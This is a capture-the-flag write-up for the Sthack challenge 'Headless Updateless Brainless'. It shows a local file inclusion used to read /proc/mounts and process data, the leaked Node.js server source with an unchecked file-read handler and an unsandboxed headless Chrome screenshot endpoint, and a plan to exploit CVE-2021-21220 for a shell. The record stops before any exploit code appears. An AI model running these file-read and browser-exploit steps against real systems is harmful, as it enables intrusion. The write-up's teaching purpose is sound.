---
# System prepended metadata

title: Headless Updateless Brainless

---

# Headless Updateless Brainless
[toc]

# INFO
http://headless-updateless-brainless.sthack.fr/?file=index.html
![](https://i.imgur.com/5T47Cfk.png)
```
NOTE1: The challenge port has been updated, the place was blocking non-default protocol-port assotiations.. Have fun!!

Jack had to spend time with javascript. Now Jack lost his mind! Welp, I mean, he... Lost his head. Can you find the magic flag that will solve his dementia?

Please note that this docker will restart every 30mn to guarantee a "sane state", so don't store your work in /tmp or /dev/shm as they'll be cleaned often. You shouldn't need to do that anyway! :)
```

# RECON

## NMAP
```
Open 18.197.146.200:22
Open 18.197.146.200:80
```

# EXPLOIT

## STEP 1 - LFI
![](https://i.imgur.com/j6jTtbW.png)

```
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/NHZKKSAR3ZKZ6ZGWUMCQJOFOFH:/var/lib/docker/overlay2/l/266RPGU5FARGKQNPN3Y5WTLAEC:/var/lib/docker/overlay2/l/WBE5E7FDQKA2BYOX2AHIRUVV3O:/var/lib/docker/overlay2/l/A2OCLFSTWODDS4MJS22L2I4NBC:/var/lib/docker/overlay2/l/E4IBXUMNJFVETGQFFZFJRPLC2E:/var/lib/docker/overlay2/l/MYESYATC3FLDRY7GFUFKD44DMQ:/var/lib/docker/overlay2/l/2IAGYZDVDXA2AYLDQPA43QON32:/var/lib/docker/overlay2/l/3MO4QL7Y2J6VANMM5WYB3S242V:/var/lib/docker/overlay2/l/AVESM5LJVJ4FVLZDCV3IZZMY5X:/var/lib/docker/overlay2/l/XJRPV6LIVUGSZP5KVGMKXURC3Y,upperdir=/var/lib/docker/overlay2/dbc9e5afe5b3cc30945aae941d49a4172241a8428836a22ec93655251fee2b03/diff,workdir=/var/lib/docker/overlay2/dbc9e5afe5b3cc30945aae941d49a4172241a8428836a22ec93655251fee2b03/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/root /site ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/root /flag_random_name_721a9b52bfceacc503c056e3b9b93cfa ext4 ro,relatime,discard,errors=remount-ro 0 0
/dev/root /etc/resolv.conf ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/root /etc/hostname ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/root /etc/hosts ext4 rw,relatime,discard,errors=remount-ro 0 0
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/scsi tmpfs ro,relatime,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0
```

![](https://i.imgur.com/tb0Eylr.png)

```
/proc/mounts
/site
/flag_random_name_721a9b52bfceacc503c056e3b9b93cfa
```

Leak of the cmdline from /proc/self

Got : nodechall.js which is actually node chall.js because of the rendering of /proc/self/cmdline

Get the file form : http://headless-updateless-brainless.sthack.fr/?file=/site/chall.js

```
#!/usr/bin/env node

const http = require('http');
const fs = require('fs');
const puppeteer = require("/usr/src/app/node_modules/puppeteer");
const path = require('path');

async function takeScreenshot(url) {
    const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'], }); // Docker all the way!
    const page = await browser.newPage();
    await page.goto(url);
    url_path = url.replace("/", "_");
    await page.screenshot({ path: "screens/" + url_path });
    await browser.close();
}

/** handle GET request */
async function coolHandler(req, res, reqUrl) {
    console.log("reqUrl", reqUrl);
    url = reqUrl.searchParams.get("url");
    url = (url || "").trim().toLowerCase();
    if (url.startsWith("http")) {
        filepath = await takeScreenshot(url);
        res.writeHead(200);
        res.write('Work done: ', filepath);
        res.end();
        return;
    } else {
        res.writeHead(500);
        res.write('Me no Worky :<');
        res.end();
        return;
    }
}

/** handle GET request */
async function displayHandler(req, res, reqUrl) {

    console.log("reqUrl", reqUrl);
    file_path = (reqUrl.searchParams.get("file") || "").trim();
    if (file_path.length == 0 || file_path.toLowerCase().includes("flag")) {
        res.writeHead(302, { 'Location': '/?file=index.html' });
        res.end();
        return;
    }
    try {
        const data = fs.readFileSync(file_path, 'utf8');
        res.writeHead(200);
        res.write(data);
        res.end();
        return;
    } catch (err) {
        console.log(err);
        res.writeHead(404);
        res.write("File doesn't exist or can't be read :(");
        res.end();
        return;
    }
}

let base_url = "http://0.0.0.0/";

http.createServer((req, res) => {
    // create an object for all redirection options
    const router = {
        'GET/coolish-unguessable-feature': coolHandler,
        'default': displayHandler
    };
    // parse the url by using WHATWG URL API
    let reqUrl = new URL(req.url, base_url);
    // find the related function by searching "method + pathname" and run it
    let redirectedFunc = router[req.method + reqUrl.pathname] || router['default'];
    redirectedFunc(req, res, reqUrl);
}).listen(80, () => {
    console.log('Server is running at ' + base_url);
});

```

The goto gets a file even if the crash happens after

We get the version of the Chrome used to reach our exploit which is: HeadlessChrome/89.0.4389.72

This CVE correspond to our target: https://github.com/security-dbg/CVE-2021-21220

We need to modify the shellcode then to exploit and get our shell

